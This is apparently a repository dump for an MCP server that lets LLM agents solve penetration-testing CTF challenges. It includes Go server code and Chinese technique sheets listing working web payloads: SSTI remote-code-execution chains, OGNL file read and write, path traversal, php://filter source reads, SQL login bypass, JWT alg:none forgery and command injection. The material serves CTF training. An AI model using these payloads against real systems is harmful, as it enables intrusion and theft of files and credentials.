查找敏感文件** | 利用 Shell 命令查找标志文件,特别是在 Web Shell 上传成功后。 | **利用**:`c=find / -maxdepth 3 -iname flag\* -type f 2>/dev/null; echo __END__` 来搜索文件,并使用特殊字符串 `__END__` 标记输出结束。 | 10 | 11 | ### 三、 综合探测、信息收集与辅助绕过手法 12 | 13 | 成功的渗透通常需要结合多种信息收集和绕过技术。 14 | 15 | #### 1. 信息收集与发现 16 | 17 | | 手法/工具 | 目的 | 具体操作 | 18 | | :--- | :--- | :--- | 19 | | **目录/文件模糊测试** | 发现隐藏的端点、泄露的配置文件或备份文件。 | 使用 **`feroxbuster`**、**`gobuster`**、**`ffuf`** 或 **`dirb`** 扫描常见路径如 `/admin`, `/api/flag`, `/config.php`, `.env` 等。 | 20 | | **静态资源隐写** | 检查图像、CSS、JS 等静态文件中是否包含敏感信息。 | **利用**:下载图片(如 `.png` 或 `.jpg`),然后使用 **`strings -n 8`** 和 **`grep -i -E 'flag\{|ctf\{'`** 搜索隐藏的标志字符串。 | 21 | | **敏感文件尝试** | 直接尝试访问常见的 Flag 路径。 | 使用 `curl` 尝试 `/flag`, `/flag.txt`, `/FLAG.txt`, `/var/www/flag.txt` 等。 | 22 | | **内部 IP 探测** | 使用 SSRF 或 URL 包含漏洞探测内部服务。 | 23 | 24 | #### 2. 认证和过滤绕过 25 | 26 | | 绕过场景 | 核心技巧与利用手法 | 具体操作 | 27 | | :--- | :--- | :--- | 28 | | **目录遍历过滤** | 使用不同形式的 `../` 编码。 | **利用**:尝试 `..%2f..%2fetc%2fpasswd`、`..%2e%2f..%2e%2fetc%2fpasswd` 或 `/static/%2e%2e/flag.txt`。 | 29 | | **PHP LFI 协议绕过** | 使用 PHP 协议绕过文件扩展名限制。 | **利用**:`php://filter/convert.base64-encode/resource=index.php`。 | 30 | | **SQL 认证绕过** | 使用经典的万能密码。 | **利用**:在登录表单中注入 `username=' OR '1'='1' -- -` 或 `username='OR%091=1#` (利用 URL 编码和注释)。 | 31 | | **HTTP 头部伪造** | 尝试在请求头中注入特殊的调试或权限提升头。 | **利用**:在请求中添加 `X-Admin: 1` 或 `X-Forwarded-For: 127.0.0.1` 来尝试触发调试模式或内部访问权限。 | 32 | | **XSS 利用 (客户端)** | 在 RCE/CI 失败时,验证输入点是否可用于 XSS 注入,从而进一步分析客户端代码或证明输入未被转义。 | **利用**:使用 `` 或 `` 以及 JavaScript 构造函数如 `[]['filter']['constructor']('alert(\'XSS\')')()` 进行客户端代码执行。 | 33 | 34 | 35 | ## 四、 辅助漏洞利用与信息发现技巧 36 | 37 | 在实际的 Web 挑战中,SSTI 往往与其他漏洞或利用技术结合使用。 38 | 39 | ### 1. 路径遍历/本地文件包含 (LFI) 40 | 41 | 即使没有完整的 SSTI RCE,攻击者也会尝试利用路径遍历来读取敏感文件。 42 | 43 | | 目标 | 技巧/手法 | 示例 Payload (URL 参数) | 44 | | :--- | :--- | :--- | 45 | | **读取敏感文件** | 使用 `../` 或编码形式 (`..%2f`) 遍历目录结构,读取 `/etc/passwd` 或 `/FLAG.php` 等文件。 | `filename=../../etc/passwd` | | 46 | | **读取源代码** | 利用 PHP 封装器(如 `php://filter`)来 Base64 编码服务器端的文件,以读取其源代码。 | `id=php://filter/convert.base64-encode/resource=post.php` | | 47 | 48 | ### 2. 命令注入/辅助 RCE 49 | 50 | 如果模板引擎参数无法直接 RCE,但服务器将输入传递给系统命令(如 Ping 功能),则可利用**命令注入**。 51 | 52 | | 目标 | 技巧/手法 | 示例 Payload (POST 参数) | 53 | | :--- | :--- | :--- | 54 | | **命令执行并外带结果** | 注入命令,将结果重定向到 Web 路径下可访问的文件,然后通过 HTTP 请求读取该文件。 | `ip_address=127.0.0.1; cat /FLAG.txt > static/flag.txt` | | 55 | 56 | ### 3. 信息泄露与调试模式 57 | 58 | 通过修改 URL 参数或 HTTP Header,尝试触发服务器的调试模式或配置信息泄露。 59 | 60 | | 目标 | 技巧/手法 | 示例 Payload | 61 | | :--- | :--- | :--- | 62 | | **触发调试信息** | 尝试在 URL 中添加常见的调试或源码参数。 | `?debug=1`, `?source=1`, `?view-source` | | 63 | | **泄露 Session 内容** | 在某些框架中,使用特定参数可以显示服务器端 Session 存储的内容,其中可能包含管理员身份或敏感路径。 | `?debug=session` | | 64 | -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log/slog" 7 | "tencent-xbow-mcp/mcpserver" 8 | ) 9 | 10 | var mode string 11 | var listenAddr string 12 | var xbowUrl string 13 | var xbowToken string 14 | var dockerContainer string 15 | var dockerfileDir string 16 | var dockerImage string 17 | var dockerLogDir string 18 | var mockEnable bool 19 | var mockAddr string 20 | var mockDir string 21 | 22 | func init() { 23 | flag.StringVar(&mode, "mode", "streamable", "MCP server mode: stdio, sse, streamable") 24 | flag.StringVar(&mode, "m", "streamable", "MCP server mode: stdio, sse, streamable (shorthand)") 25 | 26 | flag.StringVar(&listenAddr, "listen", "127.0.0.1:8080", "Listen address for MCP server") 27 | flag.StringVar(&listenAddr, "l", "127.0.0.1:8080", "Listen address for MCP server (shorthand)") 28 | 29 | flag.StringVar(&xbowUrl, "xbow-url", "", "XBow URL") 30 | flag.StringVar(&xbowUrl, "u", "", "XBow URL (shorthand)") 31 | 32 | flag.StringVar(&xbowToken, "xbow-token", "", "XBow API token") 33 | flag.StringVar(&xbowToken, "t", "", "XBow API token (shorthand)") 34 | 35 | flag.StringVar(&dockerContainer, "docker-container", "xbow-kail", "Docker exec container fixed name") 36 | flag.StringVar(&dockerContainer, "c", "xbow-kail", "Docker exec container fixed name (shorthand)") 37 | 38 | flag.StringVar(&dockerLogDir, "docker-exec-log-dir", "./.kail-history", "Docker exec log directory") 39 | flag.StringVar(&dockerLogDir, "d", "./.kail-history", "Docker exec log directory (shorthand)") 40 | 41 | flag.StringVar(&dockerfileDir, "dockerfile-dir", "./Dockerfile", "Dockerfile directory") 42 | flag.StringVar(&dockerfileDir, "f", "./Dockerfile", "Dockerfile directory (shorthand)") 43 | 44 | flag.StringVar(&dockerImage, "docker-image", "xbow-kail:latest", "Docker image name:tag") 45 | flag.StringVar(&dockerImage, "i", "xbow-kail:latest", "Docker image name:tag (shorthand)") 46 | 47 | // Mock platform options 48 | flag.BoolVar(&mockEnable, "mock", false, "Enable local mock platform server") 49 | flag.StringVar(&mockAddr, "mock-addr", "127.0.0.1:8000", "Mock platform listen address") 50 | flag.StringVar(&mockDir, "mock-dir", "./mock-challenges", "Directory path for per-challenge JSON files") 51 | 52 | flag.Parse() 53 | } 54 | 55 | func main() { 56 | // Optionally start mock platform server 57 | if mockEnable { 58 | if mockDir == "" { 59 | mockDir = "./mock-challenges" 60 | } 61 | _, err := mcpserver.StartMockPlatformFromDir(mockAddr, xbowToken, mockDir) 62 | if err != nil { 63 | slog.Error("failed to start mock platform:", "error", err) 64 | } else { 65 | if xbowUrl == "" { 66 | xbowUrl = "http://" + mockAddr 67 | } 68 | slog.Info("mock platform started at", "addr", "http://"+mockAddr, "dir", mockDir) 69 | } 70 | } 71 | 72 | server, err := mcpserver.NewMcpServer(mcpserver.NewMcpServerOptions( 73 | mcpserver.WithMcpServerMode(func() mcpserver.McpMode { 74 | switch mode { 75 | case "stdio": 76 | return mcpserver.Stdio 77 | case "sse": 78 | return mcpserver.SSE 79 | case "streamable": 80 | return mcpserver.Streamable 81 | default: 82 | return mcpserver.Streamable 83 | } 84 | }()), 85 | mcpserver.WithMcpServerListenAddr(listenAddr), 86 | mcpserver.WithXbowUrl(xbowUrl), 87 | mcpserver.WithXbowToken(xbowToken), 88 | mcpserver.WithDockerContainer(dockerContainer), 89 | mcpserver.WithDockerfileDir(dockerfileDir), 90 | mcpserver.WithDockerImage(dockerImage), 91 | mcpserver.WithDockerExecLogDir(dockerLogDir), 92 | )) 93 | if err != nil { 94 | fmt.Println(err) 95 | } 96 | server.Start() 97 | } 98 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/idor.md: -------------------------------------------------------------------------------- 1 | ## 访问控制/身份验证缺陷的题目类型与解题技巧 2 | 3 | ### 一、 类型一:不安全的直接对象引用(IDOR)/ 路径遍历越权(LFI) 4 | 5 | 此类缺陷是指应用程序通过用户提供的标识符直接引用内部对象(文件、用户 ID、路径等),但未进行充分的权限检查,导致攻击者可以通过简单地修改这些标识符来越权访问资源。 6 | 7 | #### 题目类型 (Topic Categories) 8 | 9 | 1. **基于资源 ID 的水平或垂直越权 (IDOR)**:通过修改 URL 查询参数、POST 请求体或 API 路径中的用户 ID、文档 ID 或记录编号,访问其他用户的数据或更高权限的资源。 10 | 2. **本地文件包含/路径遍历 (LFI/Path Traversal)**:应用程序在处理文件路径的参数时(如 `filename`、`file`),未能正确过滤 `../` 序列或其编码形式,导致可以读取服务器的任意本地文件。 11 | 3. **模板/文件加载越权 (Template/File Inclusion PE)**:通过操纵用于加载模板、错误页面或配置文件的参数(如 `error_type`),注入路径遍历载荷,从而导致敏感信息泄露甚至远程代码执行(RCE)。 12 | 13 | #### 做题技巧或手法 (Exploitation Techniques) 14 | 15 | | 技巧/手法 | 详细说明 | 16 | | :--- | :--- | 17 | | **路径注入多重编码** | 在参数中尝试使用各种路径遍历形式,包括未编码的 `../`、URL 编码的 `..%2f`、双重编码的 `..%252f`,甚至更复杂的编码变体(如 Unicode 变体或混合斜杠),以绕过后端过滤机制。 | 18 | | **利用文件协议** | 在路径/URL 参数中尝试使用 `php://filter` 协议来读取 PHP 源代码(例如 `php://filter/convert.base64-encode/resource=post.php`),或利用 `file:///` 协议(如插件利用场景中的 `bm_url=file:///opt/flag.txt`)读取本地文件。 | 19 | | **参数值迭代和猜测** | 对表示用户、订单或文件的数字 ID 进行递增、递减或猜测特殊 ID(如 `0`、`1`、`-1`),以发现越权点。 | 20 | | **模糊测试隐藏路径和文件** | 尝试在路径参数中注入常见的文件名或路径,例如 `/flag`、`/etc/passwd`、`/static/../app.py`。 | 21 | | **利用模板/文件引用加载 RCE 载荷** | 结合文件上传漏洞,将包含模板注入(如 SSTI)载荷的 HTML 文件上传到服务器的公共目录,然后利用 `error_type=../images/pwn.html` 这样的参数引用并执行该文件。 | 22 | 23 | ### 二、 类型二:身份验证/会话数据操纵导致的权限提升 24 | 25 | 这类攻击利用了应用程序在客户端存储或处理身份验证信息(如 Cookie 或 JWT)时的缺陷,允许攻击者通过修改这些数据来伪造权限。 26 | 27 | #### 题目类型 (Topic Categories) 28 | 29 | 1. **不安全的反序列化/数据结构操纵**:应用程序将序列化对象(常见于 PHP)存储在 Cookie 中。攻击者通过 Base64 解码、修改序列化字符串中的用户角色、权限标志位(如 `is_admin`、`role`)或密码字段,再重新编码后发送,实现权限提升。 30 | 2. **弱 JSON Web Token (JWT) 认证**:JWT 的签名机制存在缺陷(如使用 `alg: none`),或未对 Payload 中的权限字段(如 `user_type` 或 `user_id`)进行验证,导致攻击者可以伪造任意身份(flag 用户)。 31 | 3. **客户端标志位注入**:应用程序依赖于特定的 Header 或 Cookie 来赋予权限,攻击者通过在请求中注入这些标志位(例如 `X-Admin: 1`、`isAdmin=1`)来绕过授权检查。 32 | 33 | #### 做题技巧或手法 (Exploitation Techniques) 34 | 35 | | 技巧/手法 | 详细说明 | 36 | | :--- | :--- | 37 | | **PHP 序列化类型混淆** | 利用 PHP 的弱类型比较特性,在反序列化载荷中修改密码字段的数据类型,尝试使用布尔值 `b:1;` 或浮点数 `d:0;` 来绕过密码的严格字符串比较。 | 38 | | **JWT 签名算法降级** | 明确将 JWT Header 中的签名算法(`alg`)设置为 `none`,并修改 Payload 中的关键字段(如将 `user_type` 从 `customer` 改为 `admin` 或将 `user_id` 改为 `0` 或 `1`),然后发送无签名或伪造签名的 Token。 | 39 | | **会话/Header 注入** | 尝试在请求头中注入或修改权限相关的 Header(如 `X-Admin: 1`、`X-Debug: 1`)或 IP 欺骗 Header(如 `X-Forwarded-For: 127.0.0.1`),以模拟来自内部网络或具有管理权限的请求。 | 40 | 41 | ### 三、 类型三:弱身份验证机制/逻辑缺陷 42 | 43 | #### 题目类型 (Topic Categories) 44 | 45 | 1. **登录绕过 (Login Bypass)**:由于 SQL 注入 或弱密码猜测导致可以直接以高权限用户身份登录。 46 | 2. **验证码/Token 缺陷 (Captcha/Token Flaws)**:验证码逻辑存在缺陷,允许重放、操纵或暴力破解。 47 | 3. **多步骤逻辑流程缺陷**:在用户注册、配置或数据修改的多步骤流程中,未能对所有输入的字段进行严格验证,允许攻击者注入通常隐藏的权限提升参数。 48 | 49 | #### 做题技巧或手法 (Exploitation Techniques) 50 | 51 | | 技巧/手法 | 详细说明 | 52 | | :--- | :--- | 53 | | **经典 SQL 绕过** | 在用户名和/或密码字段中注入常见的万能密码,例如 `username=admin' OR '1'='1-- -`。 | 54 | | **客户端逻辑参数注入** | 在注册或表单提交中,尝试通过 POST 请求添加隐藏的或预期只有管理员才能修改的字段,如在注册的第三步尝试注入 `is_premium=on` 字段,以获取付费或特权功能。 | 55 | | **验证码数据突变** | 如果验证码存储在 Cookie 中且经过 Base64 等可逆编码,尝试获取其值,并对数据进行微小修改(如修改最后一个字节 `arr[-1]^=1`),以绕过校验,这通常称为“验证码突变”。 | 56 | | **内部 IP 或 Hostname 欺骗** | 尝试使用 `Host: localhost` 或 `Host: admin.local` 等 Header 访问同一端点,以利用可能基于 Host 检查或内部 IP 限制的访问控制。 | 57 | 58 | 59 | #### 做题技巧或手法 (Exploitation Techniques) 60 | 61 | | 技巧/手法 | 详细说明 | 62 | | :--- | :--- | 63 | | **目录和文件模糊测试 (Fuzzing)** | 使用自动化工具(如 `gobuster`、`feroxbuster` 或 `ffuf`)配合字典,大规模扫描常见的管理路径、隐藏文件(`.env`、`.git`)和旗帜文件路径。 | 64 | | **查询参数探测调试信息** | 在 URL 中添加常见的调试参数(如 `?debug=1`、`?source=1` 或 `?view-source`),尝试触发应用显示内部配置或源代码。在某些特殊应用中,甚至可以探测会话内容(如 `?debug=session`)。 | 65 | | **分析静态资源中的元数据** | 下载网站的静态图片(如 PNG、JPG),并使用 `strings` 工具搜索硬编码的 Flag 格式(如 `FLAG{...}`)或敏感字符串。 | 66 | | **探索特殊目录** | 探测常见的默认暴露目录,例如 `/static/`、`/upload/` 或 `/icons/`,以寻找可能未被正确限制的配置文件或文件上传内容。 | -------------------------------------------------------------------------------- /README.MD: -------------------------------------------------------------------------------- 1 | # EZ XBow Challenge MCP 2 | 3 | 一个用于 AI 驱动的渗透测试竞赛的**模型上下文协议 (MCP)** 服务器。该工具提供了一个完整的 API 接口,使 LLM 能够自主参与 CTF 挑战。 4 | 5 | > 建议与 [kimi-cli-for-xbow](https://github.com/m-sec-org/kimi-cli-for-xbow) 配合使用,或集成进你自己的 Agent 工作流中 6 | 7 | ## 特性 8 | 9 | - **挑战管理** - 列出、尝试和提交 CTF 挑战的解决方案 10 | - **知识库** - 内建涵盖 9 种漏洞类别的 CTF 技术文档 11 | - **持久化 Kali 容器** - 在隔离环境中执行安全工具(nmap、sqlmap、gobuster 等) 12 | - **尝试历史** - 通过自动笔记管理,跨会话跟踪和共享发现 13 | - **多种协议** - 支持 stdio、SSE 和 HTTP/2 流模式 14 | 15 | ## 快速开始 16 | 17 | ### 前提条件 18 | 19 | - Go 1.24.7+ 20 | - 支持 buildx 的 Docker 21 | 22 | ### 构建 23 | 24 | ```bash 25 | go build -o xbow-mcp ./cmd/main.go 26 | ``` 27 | 28 | ### 使用模拟平台运行(测试) 29 | 30 | 在 `./mock-challenges` 中根据模板创建相应赛题文件。 31 | 32 | ```json 33 | { 34 | "challenge_code": "XBEN-123-24", 35 | "difficulty": "easy", 36 | "points": 200, 37 | "target_info": { 38 | "ip": "192.168.5.37", 39 | "port": [32820] 40 | }, 41 | "hint_viewed": false, 42 | "solved": true, 43 | "hint_content": "Sometimes the AuthN/AuthZ checks are vulnerable to TOCTOU issues if they are not implemented properly", 44 | "solution": "flag{xxxx}" 45 | } 46 | ``` 47 | 48 | 启动命令 49 | 50 | ```bash 51 | ./xbow-mcp --mock -listen 127.0.0.1:8080 52 | ``` 53 | 54 | ### 使用真实平台运行 55 | 56 | ```bash 57 | ./xbow-mcp \ 58 | -xbow-url https://your-xbow-platform.com \ 59 | -xbow-token YOUR_AUTH_TOKEN \ 60 | -mode streamable \ 61 | -listen 127.0.0.1:8080 62 | ``` 63 | 64 | ## 可用工具 65 | 66 | | 工具 | 描述 | 67 | | ---------------------- | ------------------------------------------------------------------- | 68 | | `list_challenges` | 获取当前阶段的挑战,包括难度和目标信息 | 69 | | `do_challenge` | 标记挑战为进行中,并增加尝试计数器 | 70 | | `get_challenge_hint` | 检索提示(会扣除分数) | 71 | | `submit_answer` | 提交 Flag 并接收评分结果 | 72 | | `get_ctf_skill` | 访问技术文档(xss、sql、ssti、ssrf、idor、xxe、lfi、codei、afr&pt) | 73 | | `write_challenge_note` | 保存发现和尝试记录,供将来参考 | 74 | | `read_challenge_note` | 查看历史笔记(每 9 次尝试后自动重置) | 75 | | `kail_terminal` | 在持久化 Kali 容器中执行命令 | 76 | | `get_terminal_history` | 通过 ID 检索命令执行结果 | 77 | 78 | ## 命令行选项 79 | 80 | ```bash 81 | # 服务器模式 82 | -mode, -m [stdio|sse|streamable] MCP 服务器协议 (默认: streamable) 83 | -listen, -l ADDR:PORT 监听地址 (默认: 127.0.0.1:8080) 84 | 85 | # 平台配置 86 | -xbow-url, -u URL XBow API 基础 URL 87 | -xbow-token, -t TOKEN 认证 Token 88 | 89 | # Docker 配置 90 | -docker-container, -c NAME 容器名称 (默认: xbow-kail) 91 | -docker-image, -i IMAGE:TAG Docker 镜像 (默认: xbow-kail:latest) 92 | -dockerfile-dir, -f PATH Dockerfile 路径 (默认: ./Dockerfile) 93 | -docker-exec-log-dir, -d DIR 执行日志目录 (默认: ./.kail-history) 94 | 95 | # 模拟平台(本地测试) 96 | --mock 启用模拟平台服务器 97 | -mock-addr ADDR:PORT 模拟服务器地址 (默认: 127.0.0.1:8000) 98 | -mock-dir PATH 模拟挑战目录 (默认: ./mock-challenges) 99 | ``` 100 | 101 | ## 集成 102 | 103 | ### MCP 客户端 104 | 105 | 添加到您的 MCP 客户端配置中: 106 | 107 | ```json 108 | { 109 | "mcpServers": { 110 | "ezmcp": { 111 | "url": "http://127.0.0.1:8080/mcp" 112 | } 113 | } 114 | } 115 | ``` 116 | 117 | ## 本地存储 118 | 119 | - `.challenge_history/{challenge_code}/` - 尝试元数据、笔记和历史记录 120 | - `.kail-history/` - 命令执行记录 121 | 122 | ## TODO 123 | 124 | - 自动编译并启动 XBOW 靶场并配置赛题信息。 125 | 126 | ## 许可 127 | 128 | 开源。详情请参见 LICENSE 文件。 129 | 130 | ## 贡献 131 | 132 |

133 | 134 | sponsors-list 135 | 136 |

137 | 138 | 139 | 欢迎提出 Issue 和 Pull Request。 140 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/ssti.md: -------------------------------------------------------------------------------- 1 | # 服务器端模板注入(SSTI)题目类型与利用技巧总结 2 | 3 | SSTI 攻击的核心是欺骗服务器,让其将用户输入作为**模板引擎的指令**而不是普通数据进行解析和执行。 4 | 5 | ## 一、 SSTI 漏洞的检测与确认技巧 6 | 7 | 在开始具体的漏洞利用之前,首先必须确认是否存在模板注入,并初步判断所使用的**模板引擎类型**。 8 | 9 | | 目标/类型 | 技巧/手法 | 示例 Payload (Jinja2/Twig 风格) | 10 | | :--- | :--- | :--- | 11 | | **基础算术检测** | 注入简单数学表达式。如果结果被计算并返回(如 49),则确认存在模板解析。这是最基础的检测方法。 | `{{7*7}}` 或 `{{ 7|add:7 }}` | 12 | | **环境差异测试** | 尝试注入不同模板引擎的独特语法,根据服务器的报错信息或解析结果来确定具体的模板引擎(如 Jinja2/Twig 使用 `{{...}}`,ERB 使用 `<%=...%>`,OGNL 使用 `%{...}` 或 `#...`)。 | `{% if 7*7 == 49 %}TEST{% endif %}` | 13 | | **URL 编码** | 在 GET 或 POST 参数中注入 Payload 时,通常需要对特殊字符进行 **URL 编码** (`{` 为 `%7B`,`*` 为 `%2A`),以确保 Payload 完整地到达模板引擎进行解析。 | `?name=%7B%7B7%2A7%7D%7D` | 14 | 15 | ## 二、 针对不同语言和引擎的远程代码执行(RCE)技巧 16 | 17 | 一旦确认了模板引擎类型,攻击者会尝试进行**沙箱逃逸**(Sandbox Escape)以实现远程代码执行(RCE)或文件操作。 18 | 19 | ### 1. Python 环境下的模板注入 (Jinja2, Flask/Django) 20 | 21 | Python 环境通常利用其强大的**内省(Introspection)**能力,通过对象属性访问危险函数。 22 | 23 | | 攻击目标 | 利用技巧/手法 | 核心 Payload 结构 (示例) | 24 | | :--- | :--- | :--- | 25 | | **RCE (Globals 链)** | 通过模板上下文中可访问的内置对象(如 `cycler` 或 `request.application`),利用 Python 的继承关系(`__class__` -> `__base__` -> `__globals__`)来访问全局命名空间,进而导入 `os` 模块执行系统命令。 | `{{ cycler.__init__.__globals__.os.popen("cat /flag").read() }}` | 26 | | **RCE (Builtins 链)** | 直接通过 `__builtins__` 访问内置函数,如 `__import__`,用于导入 `os` 模块并执行命令。 | `{{request.application.__globals__.__builtins__.__import__('os').popen('cat /tmp/flag').read()}}` | 27 | | **RCE (利用过滤器)** | **注册未定义过滤器回调**:利用模板引擎的环境功能,将未定义的过滤器指向 `system` 或 `os.popen` 等函数,然后调用该过滤器来执行命令。 | `{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}` 或 `{{_self.env.getFilter('cat /flag.txt')}}` | 28 | | **RCE/文件外带 (写文件)** | 将命令执行的结果写入 Web 根目录或静态文件目录(如 `/static/`)下的文件,然后通过浏览器或 `curl` 访问该文件读取结果。 | (这是命令注入中的常用手法,如 `cat /FLAG.txt > static/flag.txt`) | 29 | | **RCE/文件包含 (模板覆盖)** | 通过文件上传功能,上传一个包含恶意 SSTI Payload 的文件,并利用目录遍历漏洞将其放置到服务器的模板目录下,然后通过某个参数引用该模板文件来触发执行。 | **上传 Payload 文件** (`{{ ... os.popen('cat /flag').read() }}`),然后通过参数引用:`error_type=../images/pwn.html`。 | 30 | 31 | ### 2. Java 环境下的模板注入 (OGNL, Struts2) 32 | 33 | Java 中的注入往往涉及 OGNL(Object-Graph Navigation Language)表达式,攻击者需要进行复杂的 Java 类反射调用。 34 | 35 | | 攻击目标 | 利用技巧/手法 | 核心 Payload 结构 (示例) | 36 | | :--- | :--- | :--- | 37 | | **RCE (Struts2)** | 利用 Content-Type 或其他参数,通过反射绕过沙箱,构造 `java.lang.ProcessBuilder` 或类似的类来执行系统命令。 | 复杂的 OGNL 表达式,如利用 `@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS` 实现 RCE。 | 38 | | **文件读取 (Java NIO)** | 通过 OGNL 表达式调用 Java NIO API 来读取服务器上的文件内容。 | `%{new java.lang.String(@java.nio.file.Files@readAllBytes(@java.nio.file.Paths@get('/tmp/flag')))}` | 39 | | **文件读取 (Base64 编码)** | 读取文件内容后,使用 `java.util.Base64` API 进行 Base64 编码,以便在 HTTP 响应中安全地传输二进制或特殊字符内容。 | `%{**@java.util.Base64@getEncoder().encodeToString**(@java.nio.file.Files@readAllBytes(@java.nio.file.Paths@get('/tmp/flag')))}` | 40 | | **文件写入/重命名** | 利用 Java 的文件 API 在服务器上创建或修改文件。 | `message=%{#f=new java.io.FileWriter('/path/to/web/ping.txt'),#f.write('pong'),#f.close(),'OK'}` | 41 | | **信息泄露** | 获取系统属性或当前工作目录。 | `message=%{@java.lang.System@getProperty('user.dir')}` | 42 | 43 | ### 3. Ruby 环境下的模板注入 (ERB) 44 | 45 | Ruby 的 ERB 模板语法简洁,利用方式通常直观。 46 | 47 | | 攻击目标 | 利用技巧/手法 | 核心 Payload 结构 (示例) | 48 | | :--- | :--- | :--- | 49 | | **RCE (文件读取)** | 直接嵌入 Ruby 代码调用 `File.read`。 | `sentence=<%= File.read('/flag') %>` | 50 | 51 | ## 三、 辅助漏洞利用与信息发现技巧 52 | 53 | 在实际的 Web 挑战中,SSTI 往往与其他漏洞或利用技术结合使用。 54 | 55 | ### 1. 路径遍历/本地文件包含 (LFI) 56 | 57 | 即使没有完整的 SSTI RCE,攻击者也会尝试利用路径遍历来读取敏感文件。 58 | 59 | | 目标 | 技巧/手法 | 示例 Payload (URL 参数) | 60 | | :--- | :--- | :--- | 61 | | **读取敏感文件** | 使用 `../` 或编码形式 (`..%2f`) 遍历目录结构,读取 `/etc/passwd` 或 `/FLAG.php` 等文件。 | `filename=../../etc/passwd` | 62 | | **读取源代码** | 利用 PHP 封装器(如 `php://filter`)来 Base64 编码服务器端的文件,以读取其源代码。 | `id=php://filter/convert.base64-encode/resource=post.php` | 63 | 64 | ### 2. 命令注入/辅助 RCE 65 | 66 | 如果模板引擎参数无法直接 RCE,但服务器将输入传递给系统命令(如 Ping 功能),则可利用**命令注入**。 67 | 68 | | 目标 | 技巧/手法 | 69 | | :--- | :--- | 70 | | **命令执行并外带结果** | 注入命令,将结果重定向到 Web 路径下可访问的文件,然后通过 HTTP 请求读取该文件。 | 71 | 72 | ### 3. 信息泄露与调试模式 73 | 74 | 通过修改 URL 参数或 HTTP Header,尝试触发服务器的调试模式或配置信息泄露。 75 | 76 | | 目标 | 技巧/手法 | 示例 Payload | 77 | | :--- | :--- | :--- | 78 | | **触发调试信息** | 尝试在 URL 中添加常见的调试或源码参数。 | `?debug=1`, `?source=1`, `?view-source` | 79 | | **泄露 Session 内容** | 在某些框架中,使用特定参数可以显示服务器端 Session 存储的内容,其中可能包含管理员身份或敏感路径。 | `?debug=session` | 80 | 81 | ### 4. 不安全反序列化(Insecure Deserialization) 82 | 83 | 虽然并非 SSTI,但这种漏洞属于服务器端处理用户输入并执行操作的类型,在 CTF 环境中常与 SSTI 一同出现,特别是 PHP 环境下(通过修改 Cookie)。 84 | 85 | | 目标 | 技巧/手法 | 86 | | :--- | :--- | 87 | | **Cookie 身份伪造** | 修改 Base64 编码的序列化数据(如 PHP `creds` Cookie),将 `username` 或 `is_admin` 字段改为具有更高权限的值。 88 | -------------------------------------------------------------------------------- /mcpserver/mcpserver.go: -------------------------------------------------------------------------------- 1 | package mcpserver 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "log/slog" 7 | "net/http" 8 | "os" 9 | "os/exec" 10 | "os/signal" 11 | "syscall" 12 | "time" 13 | 14 | "github.com/modelcontextprotocol/go-sdk/mcp" 15 | ) 16 | 17 | type McpServer struct { 18 | options *McpServerOptions 19 | engine *mcp.Server 20 | } 21 | 22 | func NewMcpServer(options *McpServerOptions) (*McpServer, error) { 23 | mcpServer := &McpServer{ 24 | options: options, 25 | } 26 | mcpServer.initEngine() 27 | mcpServer.initTools() 28 | return mcpServer, nil 29 | } 30 | 31 | func (s *McpServer) initEngine() { 32 | s.engine = mcp.NewServer(&mcp.Implementation{ 33 | Name: "腾讯云黑客松-智能渗透挑战赛-本工具提供智能渗透挑战赛的完整 API 接口说明,参赛者需要使用这些 API 来获取赛题信息、查看提示以及提交 flag。", 34 | Version: "1.0", 35 | }, &mcp.ServerOptions{ 36 | KeepAlive: 10 * time.Minute, 37 | }) 38 | } 39 | 40 | func (s *McpServer) initTools() { 41 | mcp.AddTool(s.engine, &mcp.Tool{ 42 | Name: "list_challenges", 43 | Description: "获取当前阶段赛题列表(current_stage 与赛题明细)", 44 | }, s.listChallenges) 45 | mcp.AddTool(s.engine, &mcp.Tool{ 46 | Name: "get_challenge_hint", 47 | Description: "查看指定赛题的提示,会扣除相应分数,建议attempt_count>=2时使用", 48 | }, s.getHint) 49 | mcp.AddTool(s.engine, &mcp.Tool{ 50 | Name: "do_challenge", 51 | Description: "标记开始尝试指定赛题(本地增加尝试次数并标记正在做)", 52 | }, s.doChallenge) 53 | mcp.AddTool(s.engine, &mcp.Tool{ 54 | Name: "write_challenge_note", 55 | Description: "为指定赛题写入笔记/尝试记录,便于其他 LLM 复用经验", 56 | }, s.writeChallengeNote) 57 | mcp.AddTool(s.engine, &mcp.Tool{ 58 | Name: "read_challenge_note", 59 | Description: "读取指定赛题的历史笔记/尝试记录(来自本地 .challenge_history)", 60 | }, s.readChallengeNote) 61 | mcp.AddTool(s.engine, &mcp.Tool{ 62 | Name: "submit_answer", 63 | Description: "提交赛题答案,返回是否正确与得分", 64 | }, s.submitAnswer) 65 | mcp.AddTool(s.engine, &mcp.Tool{ 66 | Name: "kail_terminal", 67 | Description: "在持久化 Kali 容器中执行命令,返回输出与退出码;执行完成返回 id,可用 get_terminal_history 查询历史结果", 68 | }, s.kailTerminal) 69 | mcp.AddTool(s.engine, &mcp.Tool{ 70 | Name: "get_terminal_history", 71 | Description: "根据 id 查询历史命令执行结果(按会话隔离)", 72 | }, s.kailGetHistory) 73 | mcp.AddTool(s.engine, &mcp.Tool{ 74 | Name: "get_ctf_skill", 75 | Description: "获取指定类别的 CTF 技巧文档,支持的类别:idor(访问控制)、xss(跨站脚本)、sql(SQL注入)、ssti(模板注入)、ssrf(服务端请求伪造)、xxe(XML外部实体)、lfi(本地文件包含)、codei(代码注入)、afr&pt(任意文件读取和路径遍历)", 76 | }, s.getCTFSkill) 77 | } 78 | 79 | func (s *McpServer) Start() { 80 | // Ensure Kali container is available before serving 81 | if err := s.ensureKailContainer(); err != nil { 82 | slog.Warn("Failed to ensure Kail container", "error", err) 83 | } 84 | go func() { 85 | switch s.options.Mode { 86 | case Stdio: 87 | if err := s.engine.Run(s.options.Ctx, &mcp.StdioTransport{}); err != nil { 88 | slog.Warn("Failed to start MCP server", "error", err) 89 | os.Exit(0) 90 | return 91 | } 92 | case SSE: 93 | handler := mcp.NewSSEHandler(func(request *http.Request) *mcp.Server { 94 | return s.engine 